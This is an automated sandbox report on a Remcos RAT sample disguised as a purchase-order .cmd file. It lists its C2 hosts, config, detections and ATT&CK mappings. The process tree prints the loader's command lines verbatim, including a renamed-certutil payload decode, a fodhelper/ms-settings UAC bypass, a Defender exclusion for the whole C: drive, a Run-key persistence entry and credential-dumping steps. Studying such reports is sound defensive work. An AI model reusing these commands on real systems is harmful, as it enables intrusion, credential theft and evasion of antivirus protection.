remcos | 68bc1f6d2ed8bb94755fc9372565da846c004106b8d4ac2779517a07b9a0a516

Analysis

max time kernel
150s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
31/05/2024, 01:18

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General

Target
PO767575.cmd
Size 4.0MB
Sample240531-bpd3fshf2z
SHA256 1f4f6c2f96f8ceae07c5abfa215a95a6788ec2e74c6a941c94c54dbca211ba69
MD5 5e052709f9e7b0b0ea90de7b99b8cc43
SHA1 88c7a864f7329bddc022736ab869708792e3dd91
SHA512 990057b8ad8e1a634ec3c356da52824cf2f5729abd741206a29473e977d7d6653eba3a5b71b02959219e4c54e26c0170b8702f901e0d137694ba4ddeed76e03d
SSDEEP 49152:lMH/Q/3P21wHyBJFqQ6WebrGkL+gc0GZNPXdgSDA8Sqnk43iMmWH3pjr2+:s
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos ranmkol collection persistence rat spyware stealer

Malware Config

Extracted

Family

remcos

Botnet

ranmkol

taker202.ddns.net:3017
taker202.duckdns.org:5033

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
xmnw-0XFDCZ
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 17 IoCs

resource	yara_rule
behavioral2/memory/4144-84-0x00000000279E0000-0x00000000289E0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4144-81-0x00000000279E0000-0x00000000289E0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4144-85-0x00000000279E0000-0x00000000289E0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4144-86-0x00000000279E0000-0x00000000289E0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4144-87-0x00000000279E0000-0x00000000289E0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4144-88-0x00000000279E0000-0x00000000289E0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4144-89-0x00000000279E0000-0x00000000289E0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4144-90-0x00000000279E0000-0x00000000289E0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4144-91-0x00000000279E0000-0x00000000289E0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4144-93-0x00000000279E0000-0x00000000289E0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4144-125-0x00000000279E0000-0x00000000289E0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4144-135-0x00000000279E0000-0x00000000289E0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4144-134-0x00000000279E0000-0x00000000289E0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4144-145-0x00000000279E0000-0x00000000289E0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4144-146-0x00000000279E0000-0x00000000289E0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4144-167-0x00000000279E0000-0x00000000289E0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4144-168-0x00000000279E0000-0x00000000289E0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM

Detects executables built or packed with MPress PE compressor 17 IoCs

resource	yara_rule
behavioral2/memory/3284-103-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4084-105-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/2512-112-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/2512-110-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/2512-109-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/2512-107-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4084-102-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3284-101-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4084-100-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3284-99-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4084-97-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/2512-115-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3284-95-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3284-117-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4144-124-0x00000000465F0000-0x0000000046609000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4144-123-0x00000000465F0000-0x0000000046609000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4144-120-0x00000000465F0000-0x0000000046609000-memory.dmp	INDICATOR_EXE_Packed_MPress

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 2 IoCs

resource	yara_rule
behavioral2/memory/4084-105-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
behavioral2/memory/4084-102-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

Detects executables referencing many email and collaboration clients. Observed in information stealers 2 IoCs

resource	yara_rule
behavioral2/memory/4084-105-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients
behavioral2/memory/4084-102-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

NirSoft MailPassView 2 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/4084-105-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView
behavioral2/memory/4084-102-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 3 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/3284-103-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView
behavioral2/memory/3284-101-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView
behavioral2/memory/3284-117-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 8 IoCs

resource	yara_rule
behavioral2/memory/3284-103-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/4084-105-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/2512-112-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/2512-110-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/4084-102-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/3284-101-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/2512-115-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/3284-117-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	per.exe

Executes dropped EXE 28 IoCs

pid	Process
1400	alpha.exe
4900	alpha.exe
3648	alpha.exe
452	alpha.exe
4020	kn.exe
4424	alpha.exe
2572	alpha.exe
824	alpha.exe
2588	alpha.exe
3940	xkn.exe
4996	alpha.exe
3456	ger.exe
2352	alpha.exe
4084	kn.exe
1464	per.exe
4220	alpha.exe
4144	Ping_c.pif
3548	alpha.exe
216	alpha.exe
2828	alpha.exe
3884	alpha.exe
1056	alpha.exe
3608	alpha.exe
1116	alpha.exe
1520	alpha.exe
3284	Ping_c.pif
4084	Ping_c.pif
2512	Ping_c.pif

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Ping_c.pif

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Zlnehhbb = "C:\\Users\\Public\\Zlnehhbb.url"	Ping_c.pif

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4144 set thread context of 3284	4144	Ping_c.pif	131
PID 4144 set thread context of 4084	4144	Ping_c.pif	132
PID 4144 set thread context of 2512	4144	Ping_c.pif	133

Kills process with taskkill 1 IoCs

evasion

pid	Process
2708	taskkill.exe

Modifies registry class 5 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\""	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\ms-settings\shell\open\command	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\ms-settings	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\ms-settings\shell	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\ms-settings\shell\open	ger.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	25	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	27	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3940	xkn.exe
3940	xkn.exe
3284	Ping_c.pif
3284	Ping_c.pif
2512	Ping_c.pif
2512	Ping_c.pif
3284	Ping_c.pif
3284	Ping_c.pif

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
4144	Ping_c.pif
4144	Ping_c.pif
4144	Ping_c.pif

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3940	xkn.exe
Token: SeDebugPrivilege	2708	taskkill.exe
Token: SeDebugPrivilege	2512	Ping_c.pif

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4144	Ping_c.pif

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2560 wrote to memory of 3716	2560	cmd.exe	85
PID 2560 wrote to memory of 3716	2560	cmd.exe	85
PID 2560 wrote to memory of 1400	2560	cmd.exe	87
PID 2560 wrote to memory of 1400	2560	cmd.exe	87
PID 2560 wrote to memory of 4900	2560	cmd.exe	88
PID 2560 wrote to memory of 4900	2560	cmd.exe	88
PID 2560 wrote to memory of 3648	2560	cmd.exe	89
PID 2560 wrote to memory of 3648	2560	cmd.exe	89
PID 3648 wrote to memory of 1372	3648	alpha.exe	90
PID 3648 wrote to memory of 1372	3648	alpha.exe	90
PID 2560 wrote to memory of 452	2560	cmd.exe	91
PID 2560 wrote to memory of 452	2560	cmd.exe	91
PID 452 wrote to memory of 4020	452	alpha.exe	92
PID 452 wrote to memory of 4020	452	alpha.exe	92
PID 2560 wrote to memory of 4424	2560	cmd.exe	93
PID 2560 wrote to memory of 4424	2560	cmd.exe	93
PID 4424 wrote to memory of 4600	4424	alpha.exe	94
PID 4424 wrote to memory of 4600	4424	alpha.exe	94
PID 2560 wrote to memory of 2572	2560	cmd.exe	95
PID 2560 wrote to memory of 2572	2560	cmd.exe	95
PID 2572 wrote to memory of 4056	2572	alpha.exe	96
PID 2572 wrote to memory of 4056	2572	alpha.exe	96
PID 2560 wrote to memory of 824	2560	cmd.exe	97
PID 2560 wrote to memory of 824	2560	cmd.exe	97
PID 824 wrote to memory of 936	824	alpha.exe	98
PID 824 wrote to memory of 936	824	alpha.exe	98
PID 2560 wrote to memory of 2588	2560	cmd.exe	99
PID 2560 wrote to memory of 2588	2560	cmd.exe	99
PID 2588 wrote to memory of 3940	2588	alpha.exe	100
PID 2588 wrote to memory of 3940	2588	alpha.exe	100
PID 3940 wrote to memory of 4996	3940	xkn.exe	101
PID 3940 wrote to memory of 4996	3940	xkn.exe	101
PID 4996 wrote to memory of 3456	4996	alpha.exe	102
PID 4996 wrote to memory of 3456	4996	alpha.exe	102
PID 2560 wrote to memory of 2352	2560	cmd.exe	103
PID 2560 wrote to memory of 2352	2560	cmd.exe	103
PID 2352 wrote to memory of 4084	2352	alpha.exe	104
PID 2352 wrote to memory of 4084	2352	alpha.exe	104
PID 2560 wrote to memory of 1464	2560	cmd.exe	105
PID 2560 wrote to memory of 1464	2560	cmd.exe	105
PID 2560 wrote to memory of 4220	2560	cmd.exe	112
PID 2560 wrote to memory of 4220	2560	cmd.exe	112
PID 4220 wrote to memory of 2708	4220	alpha.exe	113
PID 4220 wrote to memory of 2708	4220	alpha.exe	113
PID 2560 wrote to memory of 4144	2560	cmd.exe	115
PID 2560 wrote to memory of 4144	2560	cmd.exe	115
PID 2560 wrote to memory of 4144	2560	cmd.exe	115
PID 2560 wrote to memory of 3548	2560	cmd.exe	116
PID 2560 wrote to memory of 3548	2560	cmd.exe	116
PID 2560 wrote to memory of 216	2560	cmd.exe	117
PID 2560 wrote to memory of 216	2560	cmd.exe	117
PID 2560 wrote to memory of 2828	2560	cmd.exe	118
PID 2560 wrote to memory of 2828	2560	cmd.exe	118
PID 2560 wrote to memory of 3884	2560	cmd.exe	119
PID 2560 wrote to memory of 3884	2560	cmd.exe	119
PID 2560 wrote to memory of 1056	2560	cmd.exe	120
PID 2560 wrote to memory of 1056	2560	cmd.exe	120
PID 2560 wrote to memory of 3608	2560	cmd.exe	121
PID 2560 wrote to memory of 3608	2560	cmd.exe	121
PID 2560 wrote to memory of 1116	2560	cmd.exe	122
PID 2560 wrote to memory of 1116	2560	cmd.exe	122
PID 2560 wrote to memory of 1520	2560	cmd.exe	123
PID 2560 wrote to memory of 1520	2560	cmd.exe	123
PID 4144 wrote to memory of 4720	4144	Ping_c.pif	130

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PO767575.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2560
- C:\Windows\System32\extrac32.exe
  C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
  2⤵
  PID:3716
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
  2⤵
  - Executes dropped EXE
  PID:1400
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
  2⤵
  - Executes dropped EXE
  PID:4900
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3648
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
    3⤵
    PID:1372
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\PO767575.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:452
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\PO767575.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
    3⤵
    - Executes dropped EXE
    PID:4020
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4424
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
    3⤵
    PID:4600
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
    3⤵
    PID:4056
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:824
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
    3⤵
    PID:936
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2588
- - C:\Users\Public\xkn.exe
    C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3940
  - - C:\Users\Public\alpha.exe
      "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4996
    - - C:\Users\Public\ger.exe
        
        C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
        5⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:3456
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2352
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
    3⤵
    - Executes dropped EXE
    PID:4084
- C:\Windows \System32\per.exe
  "C:\\Windows \\System32\\per.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:1464
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4220
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SystemSettings.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2708
- C:\Users\Public\Libraries\Ping_c.pif
  C:\Users\Public\Libraries\Ping_c.pif
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4144
- - C:\Windows\SysWOW64\extrac32.exe
    C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Ping_c.pif C:\\Users\\Public\\Libraries\\Zlnehhbb.PIF
    3⤵
    PID:4720
- - C:\Users\Public\Libraries\Ping_c.pif
    C:\Users\Public\Libraries\Ping_c.pif /stext "C:\Users\Admin\AppData\Local\Temp\ynoqiqdynwoqkgqjeqbrpjzyywxhwdpw"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3284
- - C:\Users\Public\Libraries\Ping_c.pif
    C:\Users\Public\Libraries\Ping_c.pif /stext "C:\Users\Admin\AppData\Local\Temp\ipbj"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook accounts
    PID:4084
- - C:\Users\Public\Libraries\Ping_c.pif
    C:\Users\Public\Libraries\Ping_c.pif /stext "C:\Users\Admin\AppData\Local\Temp\kjhtjby"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2512
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
  2⤵
  - Executes dropped EXE
  PID:3548
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
  2⤵
  - Executes dropped EXE
  PID:216
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
  2⤵
  - Executes dropped EXE
  PID:2828
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:3884
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:1056
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:3608
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:1116
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:1520

C:\Windows\system32\SystemSettingsAdminFlows.exe
"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
1⤵
PID:1768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 144B
SHA256 5f96c8e5ba3b7cece337b9035937a1734598f4fa0d98c96a49d3bf003fd3d0f8
MD5 afe38d11f79a13502780a5a744b07e26
SHA1 ef98b8a71c9796293f3ff7df4db6293234c03528
SHA512 e952f445e7f485391be7c86c574d426a2ad1baef964d91f6cb231528b56a3b1cd6b30ef27f1b1769d803b750c88a9e57e24ccb5aa34b90892045bf831058419a
MD5 SHA1 SHA512

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__PSScriptPolicyTest_a2ouf31o.j40.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a2ouf31o.j40.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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ynoqiqdynwoqkgqjeqbrpjzyywxhwdpw

Path C:\Users\Admin\AppData\Local\Temp\ynoqiqdynwoqkgqjeqbrpjzyywxhwdpw
Size 4KB
SHA256 d3a2b4e44262cfbfb97652de5f54b36bfc525396d1d70dea03ab24c902dab8ef
MD5 a13985d129d8bf808cec12f9fe7b4ed3
SHA1 3981490aa1ce9401c4470f0277fda627d9236356
SHA512 5c990ca4e978b874e0863ad4bf1ccbe04499960d5c17fb16776297d22db5f168aa3a5a9863ec5a9f8286dda2f9fd96852f2dc2ef029c13ba659e33694c344887
SSDEEP 48:wvvv0axfvvcaxfdvv0axBvv0axakvv0a7:mv/xv3p1v/Pv/bv/7
MD5 SHA1 SHA512 SSDEEP

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Ping_c.pif

Path C:\Users\Public\Libraries\Ping_c.pif
Size 1.4MB
SHA256 770d0168d1e6a0033c6908a28b61238f710901e860e7720ff74df8cbe405a24e
MD5 66561f313d11178eee1955ce46e4cea0
SHA1 444d82c1c419550f87bc1fbae9f17c1d3c721150
SHA512 223c89a55cddef9a02356594fa8b8c8fcc589e70ff470e0772bc9347cc2f78f7fe311bfcc8e8ba0928a7b38893170170e45ae9dad8bdeef946ed53c99e666a88
SSDEEP 24576:h4QdcyXLJzOXVbl/41acOSYrkjX/Mv4L2z3/7zXedU+rcuDYm+7etOY7OhWP6PZ:CQ/yF41acOSrYvZzv8+fm+7etlWWP4CZ
MD5 SHA1 SHA512 SSDEEP

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Ping_c.mp4

Path C:\Users\Public\Ping_c.mp4
Size 2.8MB
SHA256 749aa65a2aa65aa1bbbf3e0e294c601cd286d5613ee8c2da9794afa7124d318d
MD5 c698dba48a839ef3b603f6c76a90b500
SHA1 c5e761f45f0267f3da17bf86a1305e06b65166fb
SHA512 ab0831dca89ccfb0bc861e099912ee45a2b405e7132a293776f4702c664109b7f411a70eb1d4ad65662d4a45d33b1c7d81ce41c0482f4799ee1be1f984bee219
SSDEEP 24576:UIjMKEr6BetTyfzJjCa3RWakbq9Pjmw5i2FE2Ms6DOl4JG3vlfzurxTQL:R
MD5 SHA1 SHA512 SSDEEP

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alpha.exe

Path C:\Users\Public\alpha.exe
Size 283KB
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
SSDEEP 6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
MD5 SHA1 SHA512 SSDEEP

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ger.exe

Path C:\Users\Public\ger.exe
Size 75KB
SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
MD5 227f63e1d9008b36bdbcc4b397780be4
SHA1 c0db341defa8ef40c03ed769a9001d600e0f4dae
SHA512 101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9
SSDEEP 1536:/ZsKjopjN/cYXsuMdCAOznsA5q+oxxhRO+sAg9RyTVZiJXpnvo/vrK:FW5nspdCbzpq+iLcqjWXpvo/vm
MD5 SHA1 SHA512 SSDEEP

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kn.exe

Path C:\Users\Public\kn.exe
